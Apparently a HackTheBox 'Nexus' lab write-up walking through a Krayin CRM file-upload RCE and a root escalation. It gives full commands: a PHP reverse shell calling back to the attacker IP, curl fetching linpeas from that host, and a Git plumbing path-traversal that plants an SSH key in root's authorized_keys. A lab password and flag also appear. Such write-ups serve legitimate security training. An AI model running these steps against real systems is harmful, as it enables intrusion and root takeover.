HackTheBox - Nexus

HackTheBox - Nexus

OS: Linux

Difficulty: Easy

Platform: HackTheBox

Box IP: 10.129.234.54

Box Creator: 7u9y

WriteUp Author: Hacck3y

Box Released: Jun 23, 2026

Tools: Nmap, Ffuf, Nc, Linpeassh, Git, Ssh-Keygen

WriteUp Updated: Aug 10, 2026

Reference: https://app.hackthebox.com/machines/Nexus

0

Overview

Nexus is a multi-stage Medium box that chains together OSINT-style recon, a leaked credential buried in Git history, an authenticated file-upload RCE in Krayin CRM, and a genuinely interesting privilege escalation abusing Python's os.path.join() behavior inside a root-run Gitea template-sync job. Getting root requires hand-crafting a malicious Git tree with low-level plumbing commands to smuggle a path-traversal payload past Git's normal filename restrictions.

Reconnaissance - Port Scanning

sudo nmap -n -Pn -sV -sC 10.129.234.54
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx/1.24.0
|\\\_http-title: Did not follow redirect to http://nexus.htb/

Nmap scan results

Port 80 redirected to http://nexus.htb/, which was added to /etc/hosts before browsing further.

Website Recon - Finding a Valid Email

The site itself is a corporate front for "Nexus Energy Authority." A Careers page advertising an "Operations Specialist – Customer Platforms" role leaked an internal contact address in the posting text:

Questions? Reach out to our hiring manager [email protected]

Careers page leaking an internal email

That gave a confirmed internal username - [email protected] - to try later once a password surfaced.

Subdomain / Virtual Host Enumeration

Since the site clearly used name-based routing, a vhost fuzz against the same IP turned up an additional host:

ffuf -u http://nexus.htb/ -H "Host: FUZZ.nexus.htb" -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -mc 200
git                    \\\[Status: 200, Size: 14472, Words: 1195, Lines: 242, Duration: 202ms]

ffuf vhost fuzzing result

git.nexus.htb resolved to a self-hosted Gitea instance:

Gitea instance

Discovering Krayin CRM & a Leaked Credential

An admin account on the Gitea instance had a public repository, krayin-docker-setup, holding the Docker Compose configuration for a billing CRM deployment:

Gitea repository listing

The real find was in the commit history of the .env file inside that repo - an earlier commit had the database password in plaintext before it was redacted in a follow-up commit:

- APP\\\_URL=http://nexus.htb
+ APP\\\_URL=http://billing.nexus.htb
...
- DB\\\_PASSWORD=N27x<REDACTED>cY04
+ DB\\\_PASSWORD=

Gitea commit history exposing the password

That single diff leaked two things at once: the subdomain billing.nexus.htb, and a working password - N27x<REDACTED>cY04 - to pair with the email found earlier.

Krayin CRM Login & Version Fingerprinting

billing.nexus.htb hosts a Krayin CRM admin login:

Krayin CRM login page

Logging in with [email protected] / N27x<REDACTED>cY04 worked immediately, landing on the admin dashboard:

Krayin CRM admin dashboard

Fingerprinting pinned the install at Krayin CRM 2.2.x, which is affected by a critical, authenticated arbitrary file upload vulnerability:

Version fingerprinting and CVE lookup

CVE-2026-38526 - Unrestricted Arbitrary File Upload via /admin/tinymce/upload, allowing an authenticated user to upload a crafted PHP file and achieve RCE in the web server context (CVSS 9.9 Critical). A public PoC is available on Exploit-DB (52629): https://www.exploit-db.com/exploits/52629.

Exploiting the RCE (CVE-2026-38526)

A classic pentestmonkey-style PHP reverse shell was configured with the attacker's IP/port:

$ip = '10.10.14.59';
$port = 9001;

Listener:

nc -lvnp 9001

Exploit run:

python3 52629.py -t http://billing.nexus.htb/ -u j.matthew@nexus.htb -p 'N27x<REDACTED>cY04' -f php-reverse-shell.php

\*\*Gotcha:\*\* the password contains !!, which bash interprets as history expansion unless the whole thing is single-quoted - an early attempt without quoting mangled the argument and threw a parsing error.

The exploit uploaded the payload through the CRM's file-upload endpoint, triggered it, and caught a shell as www-data:

Reverse shell as www-data

python3 -c 'import pty; pty.spawn("/bin/bash")'

Reading the .env File for Further Credentials

As www-data, the live application's .env was readable directly:

cat .env
APP\\\_NAME="Krayin CRM"
APP\\\_URL=http://billing.nexus.htb
DB\\\_CONNECTION=mysql
DB\\\_DATABASE=krayin
DB\\\_USERNAME=krayin
DB\\\_PASSWORD=y27xb3ha!!74GbR

.env file contents

This password differs from the one leaked in the Gitea history - confirming the original credential had already been rotated, but the live config was still exposed post-RCE.

SSH Access as jones

The same password-reuse pattern carried through to SSH, granting a login as the low-privileged user jones:

ssh jones@10.129.234.54

SSH login as jones

jones@nexus:\\\~$ cat user.txt
4cd7542afd3cbc68ef6d8354419fdb21

Local Enumeration

sudo -l

jones had no sudo rights, and SUID/SGID enumeration turned up nothing but standard system binaries - nothing directly exploitable from that angle.

linpeas Enumeration

linpeas.sh was served from the attacker box and pulled onto the target:

# Attacker box
python3 -m http.server 8000

# Target
curl http://10.10.14.59:8000/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas\\\_output.txt

Two findings stood out:

  1. The Krayin DB password, confirmed again in /var/www/krayin/.env.
  2. A root-owned systemd timer firing every minute:
Potential privilege escalation in timer file: /etc/systemd/system/gitea-template-sync.timer
  └─ RELATIVE\\\_PATH: Uses relative path in Unit directive
systemctl cat gitea-template-sync.service
\\\[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
TimeoutStartSec=50s

This timer ties directly into the Gitea instance found earlier at git.nexus.htb (bound internally to localhost:3000).

Source Review - Finding the Privesc Bug

/etc/gitea/template-sync.py turned out to be world-readable (git:git, mode 644). Its logic:

  • Queries the Gitea API for repositories flagged as "template."
  • For each template repo, reads the git tree (git ls-tree -r HEAD) from the bare repository.
  • Writes every entry out to a staging directory using:
target = os.path.join(stage\\\_path, filepath)
...
with open(target, 'wb') as f:
    f.write(cat\\\_result.stdout)

The bug: filepath comes straight from git tree entries inside a repository the attacker fully controls. Python's os.path.join() has a well-documented quirk - if the second argument is an absolute path, it completely discards the first:

>>> os.path.join("/home/git/template-staging/jones/rce", "/root/.ssh/authorized\\\_keys")
'/root/.ssh/authorized\\\_keys'

Since this script runs as root, every 60 seconds, controlling filepath inside a template repo means arbitrary file write as root.

Building the Exploit

Git's normal CLI (git add, git mktree) refuses filenames containing a literal /, so a direct absolute path can't be committed the usual way. The fix was to use Git's low-level plumbing commands to construct a tree object using relative ../ traversal instead of a leading /.

1 - Create a template repository as jones:

Logging into git.nexus.htb with the jones credentials (y27xb3ha!!74GbR) and creating a repo, jones/rce, marked as a Template Repository (required - the sync script only picks up repos flagged template: true):

Logging into Gitea as jones

2 - Clone and generate a payload:

git clone http://jones@localhost:3000/jones/rce.git
cd rce

ssh-keygen -t rsa -f /tmp/pwnkey -N ""
cat /tmp/pwnkey.pub > authkey\\\_payload
git add authkey\\\_payload
git commit -m "sync"

3 - Craft the traversal path via git plumbing:

The staging path was /home/git/template-staging/jones/rce - five directories deep from root. Wrapping the payload blob in five nested .. trees resolves it back to /root/.ssh/authorized\\\_keys:

BLOB\\\_HASH=$(git ls-tree HEAD | grep authkey\\\_payload | awk '{print $3}')

L1=$(printf "040000 tree %s\\\\t..\\\\n" "$TREE3" | git mktree)  # TREE3 = payload wrapped as root/.ssh/authorized\\\_keys
L2=$(printf "040000 tree %s\\\\t..\\\\n" "$L1" | git mktree)
L3=$(printf "040000 tree %s\\\\t..\\\\n" "$L2" | git mktree)
L4=$(printf "040000 tree %s\\\\t..\\\\n" "$L3" | git mktree)
L5=$(printf "040000 tree %s\\\\t..\\\\n" "$L4" | git mktree)

Verified with:

git ls-tree -r $L5
100644 blob 9be1566acda8cc0f68242bf53ad6f82269162847    ../../../../../root/.ssh/authorized\\\_keys

4 - Commit and push:

NEW\\\_COMMIT=$(git commit-tree $L5 -m "payload")
git update-ref refs/heads/main $NEW\\\_COMMIT
git push origin main --force

\*\*Gotcha:\*\* the first push attempt targeted master, but Gitea's bare repo HEAD still pointed at main (and the sync script reads from HEAD). The payload had to land specifically on main to get picked up.

Confirming the Write & Getting Root

Timer logs confirmed the sync job processed the crafted path:

tail -f /var/log/template-sync.log

\\\[2026-07-19 05:55:41] Syncing template: jones/rce
\\\[2026-07-19 05:55:41]   synced: ../../../../../root/.ssh/authorized\\\_keys

With the attacker's public key now sitting in /root/.ssh/authorized\\\_keys, root access was one command away:

ssh -i /tmp/pwnkey root@10.129.234.54
root@nexus:\\\~# cat /root/root.txt

Machine Owned

Lab solved


Personal writeups collection - content adapted and rewritten from Pasindu SD's original walkthrough for reference purposes.

Latest

Loading...

Events

Loading...
Loading...

Team Simple - All Rights Reserved ©